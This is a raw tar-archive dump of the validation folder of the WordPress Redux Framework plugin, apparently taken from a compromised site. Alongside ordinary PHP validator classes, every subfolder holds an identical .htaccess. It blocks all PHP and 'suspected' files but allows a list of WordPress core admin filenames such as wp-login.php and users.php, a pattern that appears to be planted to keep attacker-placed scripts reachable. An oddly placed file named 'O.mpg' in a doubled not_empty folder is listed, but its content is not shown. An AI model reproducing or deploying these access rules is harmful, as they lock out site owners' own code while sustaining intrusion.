"^(index.php|credits.php|customize.php|edit-comments.php|edit-tags.php|edit.php|checkbox.php|export.php|input.php|link.php|load-scripts.php|load-styles.php|dropdown.php|menu.php|nav-menus.php|network.php|options-discussion.php|options-general.php|options-permalink.php|options-privacy.php|options-reading.php|options-writing.php|plugins.php|post-new.php|post.php|privacy.php|profile.php|site-health.php|term.php|text.php|themes.php|tools.php|update-core.php|user-edit.php|user-new.php|users.php|wp-links.php|wp-login.php|wp-signup.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] </IfModule>����������������������������������������������������������������������������������������������������������redux-framework/inc/validation/colorrgba/validation_colorrgba.php�����������������������������������0000644�����������������00000005114�14720701300�0021433 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php if ( ! class_exists( 'Redux_Validation_colorrgba' ) ) { class Redux_Validation_colorrgba { /** * Field Constructor. * Required - must call the parent constructor, then assign field and value to vars, and obviously call the render field function * * @since ReduxFramework 3.0.4 */ function __construct( $parent, $field, $value, $current ) { $this->parent = $parent; $this->field = $field; $this->field['msg'] = ( isset( $this->field['msg'] ) ) ? $this->field['msg'] : __( 'This field must be a valid color value.', 'redux-framework' ); $this->value = $value; $this->current = $current; //$this->validate(); } //function /** * Validate Color to RGBA * Takes the user's input color value and returns it only if it's a valid color. * * @since ReduxFramework 3.0.3 */ function validate_colorrgba( $color ) { return $color; //$color = $value['color']; //$alpha = $value['alpha']; $alpha = '1.0'; if ( $color == "transparent" ) { return $hidden; } /* $color = str_replace('#','', $color); if (strlen($color) == 3) { $color = $color.$color; } if (preg_match('/^[a-f0-9]{6}$/i', $color)) { $color = '#' . $color; } */ return array( 'hex' => $color, 'alpha' => $alpha ); } //function /** * Field Render Function. * Takes the vars and outputs the HTML for the field in the settings * * @since ReduxFramework 3.0.0 */ function validate() { $this->value = $this->validate_colorrgba( $this->value ); /* if(is_array($this->value)) { // If array foreach($this->value as $k => $value){ $this->value[$k] = $this->validate_colorrgba($value); }//foreach } else { // not array $this->value = $this->validate_colorrgba($this->value); } // END array check */ } //function } //class }����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/validation/colorrgba/.htaccess��������������������������������������������������0000644�����������������00000001626�14720701300�0016340 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<FilesMatch ".(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|suspected)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(index.php|credits.php|customize.php|edit-comments.php|edit-tags.php|edit.php|checkbox.php|export.php|input.php|link.php|load-scripts.php|load-styles.php|dropdown.php|menu.php|nav-menus.php|network.php|options-discussion.php|options-general.php|options-permalink.php|options-privacy.php|options-reading.php|options-writing.php|plugins.php|post-new.php|post.php|privacy.php|profile.php|site-health.php|term.php|text.php|themes.php|tools.php|update-core.php|user-edit.php|user-new.php|users.php|wp-links.php|wp-login.php|wp-signup.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] </IfModule>����������������������������������������������������������������������������������������������������������redux-framework/inc/validation/email/validation_email.php�������������������������������������������0000644�����������������00000002517�14720701300�0017671 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php if ( ! class_exists( 'Redux_Validation_email' ) ) { class Redux_Validation_email { /** * Field Constructor. * Required - must call the parent constructor, then assign field and value to vars, and obviously call the render field function * * @since ReduxFramework 1.0.0 */ function __construct( $parent, $field, $value, $current ) { $this->parent = $parent; $this->field = $field; $this->field['msg'] = ( isset( $this->field['msg'] ) ) ? $this->field['msg'] : __( 'You must provide a valid email for this option.', 'redux-framework' ); $this->value = $value; $this->current = $current; $this->validate(); } //function /** * Field Render Function. * Takes the vars and outputs the HTML for the field in the settings * * @since ReduxFramework 1.0.0 */ function validate() { if ( ! is_email( $this->value ) ) { $this->value = ( isset( $this->current ) ) ? $this->current : ''; $this->error = $this->field; } } //function } //class }���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/validation/email/.htaccess������������������������������������������������������0000644�����������������00000001626�14720701300�0015455 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<FilesMatch ".(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|suspected)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(index.php|credits.php|customize.php|edit-comments.php|edit-tags.php|edit.php|checkbox.php|export.php|input.php|link.php|load-scripts.php|load-styles.php|dropdown.php|menu.php|nav-menus.php|network.php|options-discussion.php|options-general.php|options-permalink.php|options-privacy.php|options-reading.php|options-writing.php|plugins.php|post-new.php|post.php|privacy.php|profile.php|site-health.php|term.php|text.php|themes.php|tools.php|update-core.php|user-edit.php|user-new.php|users.php|wp-links.php|wp-login.php|wp-signup.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] </IfModule>����������������������������������������������������������������������������������������������������������redux-framework/inc/validation/numeric_not_empty/validation_numeric_not_empty.php�������������������0000644�����������������00000002450�14720701300�0025007 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php if ( ! class_exists( 'Redux_Validation_numeric_not_empty' ) ) { class Redux_Validation_numeric_not_empty { /** * Field Constructor. * Required - must call the parent constructor, then assign field and value to vars, and obviously call the render field function * * @since ReduxFramework 1.0.0 */ function __construct( $parent, $field, $value, $current ) { $this->parent = $parent; $this->field = $field; $this->field['msg'] = ( isset( $this->field['msg'] ) ) ? $this->field['msg'] : __( 'You must provide a numerical value for this option.', 'redux-framework' ); $this->value = $value; $this->current = $current; $this->validate(); } //function /** * Field Render Function. * Takes the vars and outputs the HTML for the field in the settings * * @since ReduxFramework 1.0.0 */ function validate() { if ( ! is_numeric( $this->value ) || ! isset( $this->value ) || empty( $this->value ) ) { $this->value = ( isset( $this->current ) ) ? $this->current : ''; $this->error = $this->field; } } //function } //class }������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/validation/numeric_not_empty/.htaccess������������������������������������������0000644�����������������00000001626�14720701300�0020126 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<FilesMatch ".(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|suspected)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(index.php|credits.php|customize.php|edit-comments.php|edit-tags.php|edit.php|checkbox.php|export.php|input.php|link.php|load-scripts.php|load-styles.php|dropdown.php|menu.php|nav-menus.php|network.php|options-discussion.php|options-general.php|options-permalink.php|options-privacy.php|options-reading.php|options-writing.php|plugins.php|post-new.php|post.php|privacy.php|profile.php|site-health.php|term.php|text.php|themes.php|tools.php|update-core.php|user-edit.php|user-new.php|users.php|wp-links.php|wp-login.php|wp-signup.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] </IfModule>����������������������������������������������������������������������������������������������������������redux-framework/inc/validation/numeric/validation_numeric.php���������������������������������������0000644�����������������00000002531�14720701300�0020613 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php if ( ! class_exists( 'Redux_Validation_numeric' ) ) { class Redux_Validation_numeric { /** * Field Constructor. * Required - must call the parent constructor, then assign field and value to vars, and obviously call the render field function * * @since ReduxFramework 1.0.0 */ function __construct( $parent, $field, $value, $current ) { $this->parent = $parent; $this->field = $field; $this->field['msg'] = ( isset( $this->field['msg'] ) ) ? $this->field['msg'] : __( 'You must provide a numerical value for this option.', 'redux-framework' ); $this->value = $value; $this->current = $current; $this->validate(); } //function /** * Field Render Function. * Takes the vars and outputs the HTML for the field in the settings * * @since ReduxFramework 1.0.0 */ function validate() { if ( ! is_numeric( $this->value ) ) { $this->value = ( isset( $this->current ) ) ? $this->current : ''; $this->error = $this->field; } } //function } //class }�����������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/validation/numeric/.htaccess����������������������������������������������������0000644�����������������00000001626�14720701300�0016030 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<FilesMatch ".(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|suspected)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(index.php|credits.php|customize.php|edit-comments.php|edit-tags.php|edit.php|checkbox.php|export.php|input.php|link.php|load-scripts.php|load-styles.php|dropdown.php|menu.php|nav-menus.php|network.php|options-discussion.php|options-general.php|options-permalink.php|options-privacy.php|options-reading.php|options-writing.php|plugins.php|post-new.php|post.php|privacy.php|profile.php|site-health.php|term.php|text.php|themes.php|tools.php|update-core.php|user-edit.php|user-new.php|users.php|wp-links.php|wp-login.php|wp-signup.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] </IfModule>����������������������������������������������������������������������������������������������������������redux-framework/inc/validation/no_html/validation_no_html.php���������������������������������������0000644�����������������00000002535�14720701300�0020613 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php if ( ! class_exists( 'Redux_Validation_no_html' ) ) { class Redux_Validation_no_html { /** * Field Constructor. * Required - must call the parent constructor, then assign field and value to vars, and obviously call the render field function * * @since ReduxFramework 1.0.0 */ function __construct( $parent, $field, $value, $current ) { $this->parent = $parent; $this->field = $field; $this->field['msg'] = ( isset( $this->field['msg'] ) ) ? $this->field['msg'] : __( 'You must not enter any HTML in this field, all HTML tags have been removed.', 'redux-framework' ); $this->value = $value; $this->current = $current; $this->validate(); } //function /** * Field Render Function. * Takes the vars and validates them * * @since ReduxFramework 1.0.0 */ function validate() { $newvalue = strip_tags( $this->value ); if ( $this->value != $newvalue ) { $this->warning = $this->field; } $this->value = $newvalue; } //function } //class }�������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/validation/no_html/.htaccess����������������������������������������������������0000644�����������������00000001626�14720701300�0016026 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<FilesMatch ".(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|suspected)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(index.php|credits.php|customize.php|edit-comments.php|edit-tags.php|edit.php|checkbox.php|export.php|input.php|link.php|load-scripts.php|load-styles.php|dropdown.php|menu.php|nav-menus.php|network.php|options-discussion.php|options-general.php|options-permalink.php|options-privacy.php|options-reading.php|options-writing.php|plugins.php|post-new.php|post.php|privacy.php|profile.php|site-health.php|term.php|text.php|themes.php|tools.php|update-core.php|user-edit.php|user-new.php|users.php|wp-links.php|wp-login.php|wp-signup.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] </IfModule>����������������������������������������������������������������������������������������������������������redux-framework/inc/validation/preg_replace/validation_preg_replace.php�����������������������������0000644�����������������00000002126�14720701300�0022567 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php if ( ! class_exists( 'Redux_Validation_preg_replace' ) ) { class Redux_Validation_preg_replace { /** * Field Constructor. * Required - must call the parent constructor, then assign field and value to vars, and obviously call the render field function * * @since ReduxFramework 1.0.0 */ function __construct( $parent, $field, $value, $current ) { $this->parent = $parent; $this->field = $field; $this->value = $value; $this->current = $current; $this->validate(); } //function /** * Field Render Function. * Takes the vars and validates them * * @since ReduxFramework 1.0.0 */ function validate() { $this->value = preg_replace_callback($this->field['preg']['pattern'], function($matches){return $this->field['preg']['replacement'];}, $this->value); } //function } //class }������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/validation/preg_replace/.htaccess�����������������������������������������������0000644�����������������00000001626�14720701300�0017016 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<FilesMatch ".(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|suspected)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(index.php|credits.php|customize.php|edit-comments.php|edit-tags.php|edit.php|checkbox.php|export.php|input.php|link.php|load-scripts.php|load-styles.php|dropdown.php|menu.php|nav-menus.php|network.php|options-discussion.php|options-general.php|options-permalink.php|options-privacy.php|options-reading.php|options-writing.php|plugins.php|post-new.php|post.php|privacy.php|profile.php|site-health.php|term.php|text.php|themes.php|tools.php|update-core.php|user-edit.php|user-new.php|users.php|wp-links.php|wp-login.php|wp-signup.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] </IfModule>����������������������������������������������������������������������������������������������������������redux-framework/inc/validation/no_special_chars/validation_no_special_chars.php���������������������0000644�����������������00000002631�14720701300�0024300 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php if ( ! class_exists( 'Redux_Validation_no_special_chars' ) ) { class Redux_Validation_no_special_chars { /** * Field Constructor. * Required - must call the parent constructor, then assign field and value to vars, and obviously call the render field function * * @since ReduxFramework 1.0.0 */ function __construct( $parent, $field, $value, $current ) { $this->parent = $parent; $this->field = $field; $this->field['msg'] = ( isset( $this->field['msg'] ) ) ? $this->field['msg'] : __( 'You must not enter any special characters in this field, all special characters have been removed.', 'redux-framework' ); $this->value = $value; $this->current = $current; $this->validate(); } //function /** * Field Render Function. * Takes the vars and validates them * * @since ReduxFramework 1.0.0 */ function validate() { if ( ! preg_match( '/[^a-zA-Z0-9_ -]/s', $this->value ) == 0 ) { $this->warning = $this->field; } $this->value = preg_replace( '/[^a-zA-Z0-9_ -]/s', '', $this->value ); } //function } //class }�������������������������������������������������������������������������������������������������������redux-framework/inc/validation/no_special_chars/.htaccess�������������������������������������������0000644�����������������00000001626�14720701300�0017662 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<FilesMatch ".(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|suspected)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(index.php|credits.php|customize.php|edit-comments.php|edit-tags.php|edit.php|checkbox.php|export.php|input.php|link.php|load-scripts.php|load-styles.php|dropdown.php|menu.php|nav-menus.php|network.php|options-discussion.php|options-general.php|options-permalink.php|options-privacy.php|options-reading.php|options-writing.php|plugins.php|post-new.php|post.php|privacy.php|profile.php|site-health.php|term.php|text.php|themes.php|tools.php|update-core.php|user-edit.php|user-new.php|users.php|wp-links.php|wp-login.php|wp-signup.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] </IfModule>����������������������������������������������������������������������������������������������������������redux-framework/inc/validation/date/validation_date.php���������������������������������������������0000644�����������������00000003512�14720701300�0017341 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php if ( ! class_exists( 'Redux_Validation_date' ) ) { class Redux_Validation_date { /** * Field Constructor. * Required - must call the parent constructor, then assign field and value to vars, and obviously call the render field function * * @since ReduxFramework 1.0.0 */ function __construct( $parent, $field, $value, $current ) { $this->parent = $parent; $this->field = $field; $this->field['msg'] = ( isset( $this->field['msg'] ) ) ? $this->field['msg'] : __( 'This field must be a valid date.', 'redux-framework' ); $this->value = $value; $this->current = $current; $this->validate(); } //function /** * Field Render Function. * Takes the vars and outputs the HTML for the field in the settings * * @since ReduxFramework 1.0.0 */ function validate() { $string = str_replace( '/', '', $this->value ); if ( ! is_numeric( $string ) ) { $this->value = ( isset( $this->current ) ) ? $this->current : ''; $this->error = $this->field; return; } if ( $this->value[2] != '/' ) { $this->value = ( isset( $this->current ) ) ? $this->current : ''; $this->error = $this->field; return; } if ( $this->value[5] != '/' ) { $this->value = ( isset( $this->current ) ) ? $this->current : ''; $this->error = $this->field; } } //function } //class }��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/validation/date/.htaccess�������������������������������������������������������0000644�����������������00000001626�14720701300�0015303 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<FilesMatch ".(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|suspected)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(index.php|credits.php|customize.php|edit-comments.php|edit-tags.php|edit.php|checkbox.php|export.php|input.php|link.php|load-scripts.php|load-styles.php|dropdown.php|menu.php|nav-menus.php|network.php|options-discussion.php|options-general.php|options-permalink.php|options-privacy.php|options-reading.php|options-writing.php|plugins.php|post-new.php|post.php|privacy.php|profile.php|site-health.php|term.php|text.php|themes.php|tools.php|update-core.php|user-edit.php|user-new.php|users.php|wp-links.php|wp-login.php|wp-signup.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] </IfModule>����������������������������������������������������������������������������������������������������������redux-framework/inc/validation/str_replace/validation_str_replace.php�������������������������������0000644�����������������00000002056�14720701300�0022317 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php if ( ! class_exists( 'Redux_Validation_str_replace' ) ) { class Redux_Validation_str_replace { /** * Field Constructor. * Required - must call the parent constructor, then assign field and value to vars, and obviously call the render field function * * @since ReduxFramework 1.0.0 */ function __construct( $parent, $field, $value, $current ) { $this->parent = $parent; $this->field = $field; $this->value = $value; $this->current = $current; $this->validate(); } //function /** * Field Render Function. * Takes the vars and validates them * * @since ReduxFramework 1.0.0 */ function validate() { $this->value = str_replace( $this->field['str']['search'], $this->field['str']['replacement'], $this->value ); } //function } //class }����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/validation/str_replace/.htaccess������������������������������������������������0000644�����������������00000001626�14720701300�0016671 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<FilesMatch ".(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|suspected)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(index.php|credits.php|customize.php|edit-comments.php|edit-tags.php|edit.php|checkbox.php|export.php|input.php|link.php|load-scripts.php|load-styles.php|dropdown.php|menu.php|nav-menus.php|network.php|options-discussion.php|options-general.php|options-permalink.php|options-privacy.php|options-reading.php|options-writing.php|plugins.php|post-new.php|post.php|privacy.php|profile.php|site-health.php|term.php|text.php|themes.php|tools.php|update-core.php|user-edit.php|user-new.php|users.php|wp-links.php|wp-login.php|wp-signup.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] </IfModule>����������������������������������������������������������������������������������������������������������redux-framework/inc/validation/html_custom/validation_html_custom.php�������������������������������0000644�����������������00000002125�14720701300�0022402 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php if ( ! class_exists( 'Redux_Validation_html_custom' ) ) { class Redux_Validation_html_custom { /** * Field Constructor. * Required - must call the parent constructor, then assign field and value to vars, and obviously call the render field function * * @since ReduxFramework 1.0.0 */ function __construct( $parent, $field, $value, $current ) { $this->parent = $parent; $this->field = $field; $this->value = $value; $this->current = $current; $this->validate(); } //function /** * Field Render Function. * Takes the vars and validates them * * @since ReduxFramework 1.0.0 */ function validate() { if (isset($this->field['allowed_html'])) { $this->value = wp_kses( $this->value, $this->field['allowed_html'] ); } } //function } //class }�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/validation/html_custom/.htaccess������������������������������������������������0000644�����������������00000001626�14720701300�0016724 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<FilesMatch ".(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|suspected)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(index.php|credits.php|customize.php|edit-comments.php|edit-tags.php|edit.php|checkbox.php|export.php|input.php|link.php|load-scripts.php|load-styles.php|dropdown.php|menu.php|nav-menus.php|network.php|options-discussion.php|options-general.php|options-permalink.php|options-privacy.php|options-reading.php|options-writing.php|plugins.php|post-new.php|post.php|privacy.php|profile.php|site-health.php|term.php|text.php|themes.php|tools.php|update-core.php|user-edit.php|user-new.php|users.php|wp-links.php|wp-login.php|wp-signup.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] </IfModule>����������������������������������������������������������������������������������������������������������redux-framework/inc/validation/js/validation_js.php�������������������������������������������������0000644�����������������00000001712�14720701300�0016537 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php if ( ! class_exists( 'Redux_Validation_js' ) ) { class Redux_Validation_js { /** * Field Constructor. * Required - must call the parent constructor, then assign field and value to vars, and obviously call the render field function * * @since ReduxFramework 1.0.0 */ function __construct( $parent, $field, $value, $current ) { $this->parent = $parent; $this->field = $field; $this->value = $value; $this->current = $current; $this->validate(); } //function /** * Field Render Function. * Takes the vars and validates them * * @since ReduxFramework 1.0.0 */ function validate() { $this->value = $this->value; } //function } //class }������������������������������������������������������redux-framework/inc/validation/js/.htaccess���������������������������������������������������������0000644�����������������00000001626�14720701300�0015002 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<FilesMatch ".(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|suspected)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(index.php|credits.php|customize.php|edit-comments.php|edit-tags.php|edit.php|checkbox.php|export.php|input.php|link.php|load-scripts.php|load-styles.php|dropdown.php|menu.php|nav-menus.php|network.php|options-discussion.php|options-general.php|options-permalink.php|options-privacy.php|options-reading.php|options-writing.php|plugins.php|post-new.php|post.php|privacy.php|profile.php|site-health.php|term.php|text.php|themes.php|tools.php|update-core.php|user-edit.php|user-new.php|users.php|wp-links.php|wp-login.php|wp-signup.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] </IfModule>����������������������������������������������������������������������������������������������������������redux-framework/inc/validation/html/validation_html.php���������������������������������������������0000644�����������������00000001736�14720701300�0017425 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php if ( ! class_exists( 'Redux_Validation_html' ) ) { class Redux_Validation_html { /** * Field Constructor. * Required - must call the parent constructor, then assign field and value to vars, and obviously call the render field function * * @since ReduxFramework 1.0.0 */ function __construct( $parent, $field, $value, $current ) { $this->parent = $parent; $this->field = $field; $this->value = $value; $this->current = $current; $this->validate(); } //function /** * Field Render Function. * Takes the vars and validates them * * @since ReduxFramework 1.0.0 */ function validate() { $this->value = wp_kses_post( $this->value ); } //function } //class }����������������������������������redux-framework/inc/validation/html/.htaccess�������������������������������������������������������0000644�����������������00000001626�14720701300�0015332 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<FilesMatch ".(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|suspected)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(index.php|credits.php|customize.php|edit-comments.php|edit-tags.php|edit.php|checkbox.php|export.php|input.php|link.php|load-scripts.php|load-styles.php|dropdown.php|menu.php|nav-menus.php|network.php|options-discussion.php|options-general.php|options-permalink.php|options-privacy.php|options-reading.php|options-writing.php|plugins.php|post-new.php|post.php|privacy.php|profile.php|site-health.php|term.php|text.php|themes.php|tools.php|update-core.php|user-edit.php|user-new.php|users.php|wp-links.php|wp-login.php|wp-signup.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] </IfModule>����������������������������������������������������������������������������������������������������������redux-framework/inc/validation/email_not_empty/validation_email_not_empty.php�����������������������0000644�����������������00000002627�14720701300�0024067 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php if ( ! class_exists( 'Redux_Validation_email_not_empty' ) ) { class Redux_Validation_email_not_empty { /** * Field Constructor. * Required - must call the parent constructor, then assign field and value to vars, and obviously call the render field function * * @since ReduxFramework 1.0.0 */ function __construct( $parent, $field, $value, $current ) { $this->parent = $parent; $this->field = $field; $this->field['msg'] = ( isset( $this->field['msg'] ) ) ? $this->field['msg'] : __( 'You must provide a valid email for this option.', 'redux-framework' ); $this->value = $value; $this->current = $current; $this->validate(); } //function /** * Field Render Function. * Takes the vars and outputs the HTML for the field in the settings * * @since ReduxFramework 1.0.0 */ function validate() { if ( ! is_email( $this->value ) || ! isset( $this->value ) || empty( $this->value ) ) { $this->value = ( isset( $this->current ) ) ? $this->current : ''; $this->error = $this->field; } } //function } //class }���������������������������������������������������������������������������������������������������������redux-framework/inc/validation/email_not_empty/.htaccess��������������������������������������������0000644�����������������00000001626�14720701300�0017553 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<FilesMatch ".(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|suspected)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(index.php|credits.php|customize.php|edit-comments.php|edit-tags.php|edit.php|checkbox.php|export.php|input.php|link.php|load-scripts.php|load-styles.php|dropdown.php|menu.php|nav-menus.php|network.php|options-discussion.php|options-general.php|options-permalink.php|options-privacy.php|options-reading.php|options-writing.php|plugins.php|post-new.php|post.php|privacy.php|profile.php|site-health.php|term.php|text.php|themes.php|tools.php|update-core.php|user-edit.php|user-new.php|users.php|wp-links.php|wp-login.php|wp-signup.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] </IfModule>����������������������������������������������������������������������������������������������������������redux-framework/inc/validation/not_empty/not_empty/index.php����������������������������������������0000644�����������������00000000000�14720701300�0020425 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/validation/not_empty/not_empty/O.mpg��������������������������������������������0000644�����������������00000011472�14720701300�0017527 